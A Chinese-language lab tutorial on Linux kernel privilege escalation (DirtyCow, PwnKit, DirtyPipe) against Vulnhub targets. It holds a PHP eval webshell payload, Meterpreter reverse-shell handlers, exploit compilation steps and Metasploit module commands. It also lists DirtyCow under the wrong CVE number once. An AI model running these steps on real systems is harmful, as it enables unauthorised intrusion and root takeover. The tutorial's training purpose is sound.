本文内容仅用于 合法授权、实验靶场与学习环境,禁止用于任何未授权系统,否则后果自负。
一、信息收集
① 查看系统发行版信息
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
cat /etc/centos-release # CentOS
cat /etc/os-release # Ubuntu
cat /etc/issue
② 查看内核版本信息
hostnamectl
uname -a
cat /proc/version
dmesg | grep "Linux version"

二、内核漏洞筛选思路
1️⃣ Metasploit 模块检测
run post/multi/recon/local_exploit_suggester
2️⃣ 常用提权辅助脚本
三、应用场景
当拿到 Webshell / 低权限反弹 Shell 后,可尝试利用当前环境中存在的 内核漏洞 实现 本地提权。
四、常见内核提权漏洞案例
dirtycow(CVE-2016-5159)
Pwnkit (CVE-2021-4034)
Dirty Pipe(CVE-2022-0847)
SUDO (CVE-2021-3156)
大脏牛 (CVE-2017–1000405)
CVE-2017-16995
CVE-2021-3560
CVE-2023-1829
CVE-2022-2588
CVE-2021-3493
CVE-2022-32250
CVE-2023-3269
CVE-2022-0995
CVE-2022-2639
CVE-2023-0386
关键词:辅助项目 / Vulnhub / Dcow / Pwnkit / DirtyPipe
五、内核溢出 - DirtyCow(CVE-2016-5195)
① 靶场环境
来源:
https://www.vulnhub.com/entry/lampiao-1,249/
② 信息收集
nmap -p1-65535 192.168.88.0/24

③ Web 漏洞利用
发现 CMS

使用历史漏洞:
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.46.144
set rport 1898
run

成功获取权限

④ 内核漏洞检测
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh
linpeas 扫描

linux-exploit-suggester.sh

重点观察 红色/醒目提示项。
⑤ 获取 exploit 代码
来源:
https://github.com/gbonacini/CVE-2016-5195
上传 exploit:
upload /root/dcow.cpp /tmp/dcow.cpp

编译:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

执行提权:
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
su root
成功截图:

六、内核溢出 - Pwnkit(CVE-2021-4034)
靶场环境:
https://www.vulnhub.com/entry/darkhole-1,724/
① 信息收集
nmap -p1-65535 192.168.88.0/24
② Web 漏洞利用
上传 WebShell 并反弹 Meterpreter:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
③ 本地提权
upload /root/linux-exploit-suggester.sh /tmp/1.sh
shell
cd /tmp
chmod +x 1.sh
./1.sh

搜索模块:
search cve_2021_4034
利用:
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session x
run
成功截图:


七、内核溢出 - DirtyPipe(CVE-2022-0847)
靶场环境:
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
① 信息收集
nmap -p1-65535 192.168.139.0/24
② Web 漏洞利用
目录扫描:
gobuster dir -u http://192.168.88.140/ -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

抓包写 WebShell:
message=<?php eval($_POST["pass"]);?>&file=xd.php
反弹 Shell:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run

③ 本地提权
上传:
upload /root/linux-exploit-suggester.sh /tmp/1.sh
执行:
cd /tmp
chmod +x 1.sh
./1.sh

使用 MSF:
search cve_2022_0847
use exploit/linux/local/cve_2022_0847_dirtypipe
set session x
set lhost xx.xx.xx.xx
run

成功截图:

八、补充参考
- CVE-2023-0386
- 参考文章:
https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q